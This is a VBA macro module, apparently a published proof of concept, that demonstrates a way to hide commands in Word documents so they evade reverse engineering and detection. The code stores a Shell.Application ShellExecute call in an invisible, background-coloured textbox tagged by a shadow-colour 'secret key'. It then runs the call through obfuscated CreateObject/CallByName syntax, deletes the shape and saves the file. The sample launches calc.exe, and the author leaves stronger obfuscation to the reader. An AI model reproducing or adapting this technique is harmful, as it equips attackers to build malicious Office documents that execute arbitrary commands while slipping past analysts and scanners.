VBA Code to Insert a MsoShape Object Into A Document to Store Arbitrary Commands to Evade Reverse Engineering and Detection

VBA-CmdShapes.bas

Attribute VB_Name = "VBA-CmdShape"



' VBA-CmdShape v1.0.0 by @Laughing_Mantis - 7/4/2020
' Demonstration of how to embed VBA interpreted code in a MsoShape object and then later extract that info and delete the Shape
' This sample will embed a command to create a Shell.Application object to execute Calc.exe
' Minimal obfuscation was added and no string encryption - that is up to you.


Sub Main()
On Error Resume Next
createTextBox
ExecuteTextBoxCommands
End Sub

Sub createTextBox()
On Error Resume Next
Dim objTextBox As Shape
Dim secretkey As Long
secretkey = RGB(1, 33, 7)
Debug.Print "Adding Embedded Command Shape Into Document"
Set objTextBox = ActiveDocument.Shapes.AddTextbox(msoTextOrientationHorizontal, 0, 0, 0, 0)
With objTextBox
    .TextFrame.TextRange.Text = "calc|open|1"
    .Name = "Shell.Application"
    .Height = 1
    .Width = 1
    .Visible = msoFalse
    .Shadow.Visible = True
    .Shadow.ForeColor.RGB = secretkey
    If .Shadow.ForeColor.RGB <> secretkey Then
        Debug.Print "Fail to set secret key"
    End If
    Debug.Print "Secret Key For Command Shape: " & CStr(.Shadow.ForeColor.RGB)
    .AlternativeText = "ShellExecute"
    .TextFrame.TextRange.Font.TextColor.RGB = ActiveDocument.Background.Fill.BackColor
End With
End Sub

Sub ExecuteTextBoxCommands()
On Error Resume Next
Dim objCmdShape As Shape
Dim secretkey As Long
Dim cmdParams() As String
Dim cmdCommand As String
Dim cmdType As String
Dim cmdObj As Object
secretkey = RGB(1, 33, 7)
For x = 1 To ActiveDocument.Shapes.Count
    Set objCmdShape = ActiveDocument.Shapes(x)
    If objCmdShape.Shadow.ForeColor.RGB = secretkey Then
        Debug.Print "Discovered Command Text Object"
        cmdType = objCmdShape.Name
        cmdCommand = objCmdShape.AlternativeText
        cmdParams = Split(objCmdShape.TextFrame.TextRange.Text, "|")
        Debug.Print "Command Type To Execute: " & cmdType
        Debug.Print "Command To Execute: " & cmdCommand
        Debug.Print "Command Params to Execute: " & Join(cmdParams, " & ")
        Set cmdObj = Interaction.CreateObject(cmdType)
        VBA$.[Interaction].CallByName! cmdObj, [cmdCommand], VbMethod, cmdParams(0), cmdParams(1), cmdParams(2)
        objCmdShape.Delete
        ActiveDocument.Save
        Exit For
    End If
Next
End Sub